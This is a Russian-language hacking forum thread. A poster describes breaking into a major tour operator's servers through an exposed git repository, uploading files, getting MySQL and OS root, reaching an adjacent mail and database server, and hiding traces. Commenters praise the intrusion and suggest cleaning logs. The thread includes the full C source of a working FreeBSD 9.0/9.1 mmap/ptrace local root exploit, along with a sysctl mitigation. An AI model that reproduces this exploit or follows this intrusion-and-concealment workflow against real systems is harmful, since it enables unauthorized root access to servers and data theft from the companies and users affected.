Фууух, успел Всем привет!! Сегодня мы будем с вами ломать одного из топовых туроператоров. Признаюсь, это не совсем то видео, что я планировал показать изначально (немного звезды не совпали, а времени искать другую цель уже не было). Но за то уже есть более интересный, на мой взгляд, сюжет на следующий год Краткий сюжет: пришел увидел победил А если серьезно, то ... все как обычно, нашел зацепку, проанализировал ситуацию, залился, осмотрелся, получил root от мускула + доступ на соседний сервак с почтой и базами, получил рут на сервере, немного замаскировался. единственное забыл показать на видео тач суидника, признаю свою вину переснимать было лень... В общем смотрите сами) Смотреть на YouTube или скачать с SendSpace (пароль на архив fdN21o4nfd) ...Хотя, нельзя не отметить примитивные ошибки разработчиков сайта... Честно говоря думал заснять их на видео, но в конечном итоге мне стало жалко тратить на это свое и ваше время. Ошибки примитивные, смотреть на них не интересно. В них нет ничего поучительного. Могу сказать лишь одно, половину портфолио студии Binn можно перехекать за недельку... Ребятам следует сосредоточится и все таки навести порядок среди своих клиентов пока они не растеряли имя которое накапливали годами. Спасибо за внимание и до новых встреч
просьба которая относится к особо любопытным читателям таким как например 5maks5 , которые пытаются отгадать замазанные символы в конфигах или просто повторить фрагмент из этого видео - не старайтесь! администрация была оповещена, пароли везде сменили, интерфейсы закрыли. будьте благоразумны)
можно и h_su.c, можно и получить ) за банальщину отдельное спасибо взято из темы - https://forum.antichat.ru/showthread.php?t=156224
Унижение разработчиков проекта в конце видео и указание на какие-либо уязвимости на иных проектах, при этом вся "уязвимость" заключается в стягивании ревизии репозитория? По мне звучит пафосно, тем более ты не обладаешь достоверной информацией о том, является ли открытый phpmyadmin и прочие "халатности" делом рук кампании-разработчика.
благодарю) ну во первых, я никого не унизил в конце видео, а просто сказал что ребятам стоит быть повнимательней, ведь они топы и занимаются разработкой серьезных проектов. Если указание на примитивные ошибки есть унижение - то им следует винить себя в том, что они допускают такого рода ошибки, а не меня в том, что я заметил и указал на них. Во вторых, да, в данном видео показан один из способов проникновения на сервер используя репозиторий git. Аналогов этого видео я не встречал, поэтому посчитал, что это будет интересно ведь многие и не знали что git в неумелых руках может оказаться такой полезной штукой. Да, не спорю, новый вектор атаки я не показал, ровно как и не продемонстрировал уязвимость нулевого дня... но ведь и задача заключалась не в этом. Я уверен, что многие люди открыли для себя что-то новое из этого видео, т.к. далеко не все подумали бы о том, что использую git можно проникнуть на сервер. В третьих, я обладаю достоверной информацией о том, что открытый репозиторий и другие "тупняки" дело рук разработчиков! Ибо одинаковые беды встречаются на куче их проектов. Кроме того, ребята ну очень любят на все проекты один пароль ставить - это нормально?! или по Вашему мнению, админы каждого третьего сайта в портфолио этой студии самостоятельно(!) ставили майадмин и открытый git?? или может быть они поменяли пароль на всех учетках разрабов таким образом что этот пароль и логин стал встречаться на других сайтах из их портфолио?! Ну или может быть хранить доступы от root пользователей ОС и СУБД в файле в корне сайта это тоже высокий профессионализм?! Эпилог: на видео, я лишь сказал что бы они были внимательней, а вот Вы заставили меня более подробно расписать про их ошибки(без конкретных примеров), что я нахожу еще более вредным для репутации которую Вы тут так рьяно отстаивали, чем то, что в конце видео им был передан "привет"
Take_IT, не слушай его. Мне лично понравился подход. Мало кто обращает внимание на открытые репозитории, диры, конфиги. А при должном использовании - это очень серьезные бреши. Ну и акцент сделан не на открытом репозитории, если так подумать, то показано все что надо, исследование сервера, аудит исходного кода, заливка, рут. На мой взгляд проделано достаточно профессионально По крайней мере я ошибок не заметил (кроме непротаченного суидника), ну возможно логи было бы неплохо еще почистить. А что за эксплоит был (h_expl.c)? Да ладно?
Спасибо! Вот сплоит: Code: /* * FreeBSD 9.{0,1} mmap/ptrace exploit * by Hunger <fbsd9lul () hunger hu> * * Happy Birthday FreeBSD! * Now you are 20 years old and your security is the same as 20 years ago... :) * * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs, prof, * sd, sghctoma, snq, spender, s2crew and others at #hekkcamp: * I hope we'll meet again at 8 () 1470n ;) * * Special thanks to proactivesec.com * $ uname -a FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec 4 09:23:10 UTC 2012 root () farrell cse buffalo edu:/usr/obj/usr/src/sys/GENERIC amd64 $ id uid=1001(hunger) gid=1002(hunger) groups=1002(hunger) $ gcc fbsd9lul.c -o fbsd9lul $ ./fbsd9lul FreeBSD 9.{0,1} mmap/ptrace exploit by Hunger <fbsd9lul () hunger hu> # id uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger) # */ #include <err.h> #include <errno.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/wait.h> #define SH "/bin/sh" #define TG "/usr/sbin/timedc" int main(int ac, char **av) { int from_fd, to_fd, status; struct stat st; struct ptrace_io_desc piod; char *s, *d; pid_t pid; if (geteuid() == 0) { setuid(0); execl(SH, SH, NULL); return 0; } printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n"); printf("by Hunger <fbsd9lul () hunger hu>\n"); if ((from_fd = open(av[0], O_RDONLY)) == -1 || (to_fd = open(TG, O_RDONLY)) == -1) err(1, "open"); if (stat(av[0], &st) == -1) err(2, "stat"); if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) || (d = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) == MAP_FAILED) err(3, "mmap"); if ((pid = fork()) == -1) err(4, "fork"); if (!pid) { if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1) err(5, "ptraceme"); return 0; } if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) err(6, "ptattach"); if (wait(&status) == -1) err(7, "wait"); piod.piod_op = PIOD_WRITE_D; piod.piod_offs = d; piod.piod_addr = s; piod.piod_len = st.st_size; if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1) err(8, "ptio"); execl(TG, TG, NULL); return 0; }
ptrace... странно что остались еще непатченные сервера. Помог бы им, закрыл бы багу: Code: sysctl security.bsd.unprivileged_proc_debug=0 ^^
я предоставил администрации краткий отчет о том что и где нужно патчить, приложив ссылку на видео. а что касается именно уязвимости ОС - то большой находкой для меня было найти не пропатченный серв, ведь делается это все одной командой)) Сам ничего не трогал, в правилах конкурса говориться о том, что сайт не должен пострадать... логично предположить что любые изменения в коде скриптов также запрещены. так что пусть этот момент останется на совести админов, что от меня зависело я сделал!